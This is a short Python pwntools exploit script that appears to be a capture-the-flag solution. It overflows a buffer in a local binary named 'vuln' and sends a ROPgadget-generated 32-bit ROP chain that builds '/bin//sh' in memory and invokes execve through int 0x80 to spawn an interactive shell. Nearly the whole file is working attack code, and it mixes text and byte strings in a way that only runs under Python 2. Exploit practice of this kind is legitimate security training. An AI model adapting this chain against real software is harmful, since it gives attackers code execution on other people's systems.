shellcode.py

import os
os.environ['TMPDIR'] = os.path.join(os.environ['HOME'], 'tmp')

import pwn
from struct import pack

remote_binary = "./vuln"
pr = pwn.process(remote_binary)

def segfault():
    """
    find offset with pwn.cyclic
    """
    ofs = pwn.cyclic_find(pwn.p32(0x61616168))

    payload = b"A" * ofs + create_ropgadget()
    pr.sendlineafter("Can you ROP your way out of this one?\n", payload)
    pr.interactive()

def create_rop():
    binary = pwn.ELF.from_assembly(
            "pop eax;pop ebx;pop ecx"
            )
    rop = pwn.ROP(binary)#remote_binary)
    return rop.chain()

def create_ropgadget():
    # execve generated by ROPgadget
    # ROPgadget --binary ./vuln  --ropchain --badbytes 0a
    # Padding goes here
    p = ''

    p += pack('<I', 0x0806ee6b) # pop edx ; ret
    p += pack('<I', 0x080da060) # @ .data
    p += pack('<I', 0x08056334) # pop eax ; pop edx ; pop ebx ; ret
    p += '/bin'
    p += pack('<I', 0x080da060) # padding without overwrite edx
    p += pack('<I', 0x41414141) # padding
    p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ee6b) # pop edx ; ret
    p += pack('<I', 0x080da064) # @ .data + 4
    p += pack('<I', 0x08056334) # pop eax ; pop edx ; pop ebx ; ret
    p += '//sh'
    p += pack('<I', 0x080da064) # padding without overwrite edx
    p += pack('<I', 0x41414141) # padding
    p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ee6b) # pop edx ; ret
    p += pack('<I', 0x080da068) # @ .data + 8
    p += pack('<I', 0x08056420) # xor eax, eax ; ret
    p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080481c9) # pop ebx ; ret
    p += pack('<I', 0x080da060) # @ .data
    p += pack('<I', 0x0806ee92) # pop ecx ; pop ebx ; ret
    p += pack('<I', 0x080da068) # @ .data + 8
    p += pack('<I', 0x080da060) # padding without overwrite ebx
    p += pack('<I', 0x0806ee6b) # pop edx ; ret
    p += pack('<I', 0x080da068) # @ .data + 8
    p += pack('<I', 0x08056420) # xor eax, eax ; ret
    p += pack('<I', 0x0807c2fa) # inc eax ; ret
    p += pack('<I', 0x0807c2fa) # inc eax ; ret
    p += pack('<I', 0x0807c2fa) # inc eax ; ret
    p += pack('<I', 0x0807c2fa) # inc eax ; ret
    p += pack('<I', 0x0807c2fa) # inc eax ; ret
    p += pack('<I', 0x0807c2fa) # inc eax ; ret
    p += pack('<I', 0x0807c2fa) # inc eax ; ret
    p += pack('<I', 0x0807c2fa) # inc eax ; ret
    p += pack('<I', 0x0807c2fa) # inc eax ; ret
    p += pack('<I', 0x0807c2fa) # inc eax ; ret
    p += pack('<I', 0x0807c2fa) # inc eax ; ret
    p += pack('<I', 0x08049563) # int 0x80
    return p

segfault()